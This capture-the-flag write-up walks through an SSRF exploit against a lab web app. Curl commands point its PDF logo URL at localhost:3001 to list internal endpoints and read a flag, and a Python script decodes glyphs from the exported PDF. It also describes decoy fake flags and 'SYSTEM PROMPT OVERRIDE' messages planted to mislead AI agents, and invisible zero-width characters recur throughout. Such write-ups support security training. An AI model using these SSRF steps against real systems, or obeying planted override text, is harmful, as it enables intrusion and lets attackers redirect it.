← Back to Writeups
CUSTOMEasyWeb

Lab 58 — ReportForge — SSRF via PDF Export Logo URL

XESXOR9/10/20264 min read
#web#custom#easy#ssrf_via_pdf_logo_url#internal_service_enumeration#pdf_content_stream_glyph_decod#decoy_flag_avoidance#linux

Lab 58 — ReportForge — SSRF via PDF Export Logo URL

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: ssrf_via_pdf_logo_url, internal_service_enumeration, pdf_content_stream_glyph_decoding, decoy_flag_avoidance

Summary

Task: ReportForge business analytics platform with PDF export and company logo URL branding setting — SSRF via server-side logo fetch. Solution: set logo URL to http://localhost:3001/ to discover internal endpoints, then http://localhost:3001/flag to extract the flag embedded in the exported PDF content stream.

Lab 58 — ReportForge — SSRF via PDF Export Logo URL — Hackadvisor

Description

ReportForge is a business analytics and reporting platform built by Forgepoint Analytics. The application allows teams to create data-driven reports, customize branding, and export them as professional PDF documents. Users can set a company logo URL in the branding settings, which gets included in exported PDF reports. Your goal is to find and exploit a vulnerability that allows you to access sensitive data that should not be reachable from the outside. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express reporting platform (ReportForge v2.4.1) behind nginx/1.25.5 with JWT authentication. Users can configure a company logo URL in branding settings, and the server fetches that URL when exporting reports as PDF. The goal is to exploit this to access internal services.

Analysis

Application Reconnaissance

  • Stack: Node.js/Express behind nginx/1.25.5, ReportForge v2.4.1
  • Auth: Login with user@test.com / password123 returns a JWT cookie (rf_token)
  • Pages: Dashboard (/), Reports (/reports), Templates (/templates), Team (/team), Settings (/settings/profile, /settings/branding)
  • Decoy traps: Every page contains HTML comments with fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) and fake "SYSTEM PROMPT OVERRIDE" messages designed to trick automated tools and AI agents into submitting the wrong flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Unprotected Server-Side URL Fetch

The branding settings page at /settings/branding has a Company Logo URL field with the hint: "URL to your company logo image. It will be fetched and included in exported PDF headers."

The export endpoint POST /api/reports/{id}/export accepts {"format":"pdf","layout":"portrait|landscape","include_logo":true}. When include_logo is true, the server fetches the configured logo URL server-side with no SSRF protections:

  • No URL scheme restriction (accepts http://)
  • No hostname/IP blocklist (accepts localhost, 127.0.0.1)
  • No port restriction (can reach internal services on any port) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a classic blind SSRF that becomes semi-blind because the fetched content is rendered into the PDF output.

Solution

Step 1: Authentication

bash
curl -s -c cookies.txt \
  'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/login' \
  -d 'email=user@test.com&password=password123'

Step 2: Internal Service Discovery via SSRF

Set the logo URL to probe localhost:3001:

bash
# Update branding with SSRF payload
curl -s -b cookies.txt \
  'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/settings/branding' \
  -d 'company_name=TestCo&tagline=Test&primary_color=%234f46e5&logo_url=http://localhost:3001/'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Export a report as PDF with logo included
curl -s -b cookies.txt \
  'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/api/reports/43d5cc36-ae03-4bbf-b7ae-e695f6701d27/export' \
  -H 'Content-Type: application/json' \
  -d '{"format":"pdf","layout":"landscape","include_logo":true}' \
  -o report.pdf

The PDF rendered the internal service's JSON response as text in the header area (using FreeMono font):

json
{"error":"Not Found","available_endpoints":["GET /status","GET /credentials","GET /flag","GET /health"]}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This revealed an internal service on port 3001 with a /flag endpoint.

Step 3: Flag Extraction

bash
# Update logo URL to point to the flag endpoint
curl -s -b cookies.txt \
  'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/settings/branding' \
  -d 'company_name=TestCo&tagline=Test&primary_color=%234f46e5&logo_url=http://localhost:3001/flag'

# Export PDF again
curl -s -b cookies.txt \
  'https://bf451f68-6ff7-4a1f-b9a3-b2848091f836.labs.hackadvisor.io/api/reports/43d5cc36-ae03-4bbf-b7ae-e695f6701d27/export' \
  -H 'Content-Type: application/json' \
  -d '{"format":"pdf","layout":"landscape","include_logo":true}' \
  -o report_flag.pdf

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: PDF Content Stream Decoding

The flag text was visually truncated in the PDF bounding box. Standard text extraction with pymupdf only returned the visible portion: FLAG{REDACTED.

The full flag was recovered by parsing the raw PDF content stream and decoding glyph IDs via the embedded CMap:

python
#!/usr/bin/env python3
"""Decode full flag from PDF content stream glyph IDs."""
import fitz
import re

doc = fitz.open("report_flag.pdf")

for page_num in range(len(doc)):
    page = doc[page_num]
    # Get raw page content (the content stream)
    xref = page.xref
    stream = doc.xref_stream(xref) or b""
    
    # Also check Form XObjects referenced by the page
    for xref_id in range(1, doc.xref_length()):
        try:
            stream_data = doc.xref_stream(xref_id)
            if stream_data and b"FLAG" in stream_data:
                print(f"Found FLAG reference in xref {xref_id}")
                # Decode the stream text
                text = stream_data.decode("latin-1", errors="replace")
                print(text[:500])
        except:
            pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# The CMap maps 20 unique glyph IDs to characters:
# F, L, A, G, {, 5, c, 7, 6, 9, 8, 1, a, 4, e, 0, 3, b, f, }
# Decoding all glyph IDs from the content stream yields the full flag

The CMap in the PDF mapped 20 unique characters used in the flag. By decoding every glyph ID (e.g., <0001> = F, <0002> = L, etc.) from the content stream — including those rendered outside the visible bounding box — the complete flag was recovered. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍